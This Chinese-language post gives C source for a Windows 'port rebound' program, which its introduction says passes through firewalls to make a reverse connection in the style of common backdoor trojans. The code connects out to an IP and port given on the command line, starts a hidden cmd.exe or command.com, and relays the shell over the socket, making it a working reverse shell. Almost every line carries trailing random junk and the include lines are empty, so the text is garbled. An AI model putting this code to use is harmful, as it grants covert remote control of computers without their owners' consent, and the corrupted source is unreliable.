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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :s-o0$PlJ  
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/* ============================== a`E*\O'd  
Rebound port in Windows NT joXfmHB}  
By wind,2006/7 RA],lNs  
===============================*/  :Pq.,s  
#include K'1~^)*  
#include pi5GxDA]  
_P,^_%}V06  
#pragma comment(lib,"wsock32.lib") BHj\G7,S  
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void OutputShell(); 'R9g7,53R  
SOCKET sClient; K"<*a"1I  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4'Xgk8)  
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void main(int argc,char **argv) Qn:kz*:  
{ a :HNg  
WSADATA stWsaData; `C_'|d<HA  
int nRet; V% CUMH =U  
SOCKADDR_IN stSaiClient,stSaiServer; :XV} c(+d  
!EF(*~r!9L  
if(argc != 3) u>.y:>  
{ f+Dn9t  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~2uh'e3  
return; Y7U&Q:5'  
} N;HIsOT}t  
5V-jMB  
WSAStartup(MAKEWORD(2,2),&stWsaData); XidxNPz0^  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  0=6/yc  
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stSaiClient.sin_family = AF_INET; znZ7*S >6\  
stSaiClient.sin_port = htons(0); Az,- Cq  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }Ia 0"J4  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 59B&2861  
{ Mth6-^g5  
printf("Bind Socket Failed!\n"); )QY![&k}1z  
return; A8?[6^%O|  
} IS]{}Y\3H  
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stSaiServer.sin_family = AF_INET; `Y3(~~YGn  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); BIWD/ |LQ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &K:' #[3V  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A%ywj'|z  
{ P#G.lft"O  
printf("Connect Error!"); }++5_Z_  
return; X<MpN5%|Wo  
} F`U YgN  
OutputShell(); V H2/  
} TB(!*t  
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void OutputShell() cu#s}* Ip  
{ 71inHg  
char szBuff[1024]; R'1L%srTM+  
SECURITY_ATTRIBUTES stSecurityAttributes; *^t7?f[  
OSVERSIONINFO stOsversionInfo; QLum=YB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9d1 G u"  
STARTUPINFO stStartupInfo; tFKR~?Gc  
char *szShell; bf&k:.v'8  
PROCESS_INFORMATION stProcessInformation; ct-;L' a  
unsigned long lBytesRead; 4,P!D3SH  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;gmfWHB<  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 95X!{\  
stSecurityAttributes.lpSecurityDescriptor = 0; Ad]oM]  
stSecurityAttributes.bInheritHandle = TRUE; T_1p1Sg  
8w]>SEGFs  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r]'Q5l4j6"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2B=''W  
n^7m^1to  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $dgez#TPL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PZsq9;P$  
stStartupInfo.wShowWindow = SW_HIDE; 6h_OxO&!U  
stStartupInfo.hStdInput = hReadPipe; y.m;4((  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i1JWdHt  
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GetVersionEx(&stOsversionInfo); J~URv)g  
Vj{}cL"MR  
switch(stOsversionInfo.dwPlatformId) P2^((c  
{ 0nOp'Ky\k  
case 1: a{%]X(';  
szShell = "command.com"; 6ISDY>p  
break; ]p sx\ZMa  
default: ZRr S""V  
szShell = "cmd.exe"; b$Ch2Qz0q  
break; &$ /}HND  
} A7X-),D  
t4E=  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h]z>H~.<*  
/n|`a1!  
send(sClient,szMsg,77,0); A"8"e*  
while(1) _Z|3qQ  
{ :5M7*s)e16  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I N'a5&..  
if(lBytesRead) =P.m5e<  
{ }|7y.*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >IzUn: 0F  
send(sClient,szBuff,lBytesRead,0); 4z##4^9g  
} A/4HR]  
else 3h|:ew[  
{ O7A W9*<  
lBytesRead=recv(sClient,szBuff,1024,0); Ydr/ T/1  
if(lBytesRead<=0) break; +#c3Y ;JP  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CNiUHUD  
}  `=h`:`  
} = NHzh!  
2"~QI xY=  
return; - ^sbf.  
}
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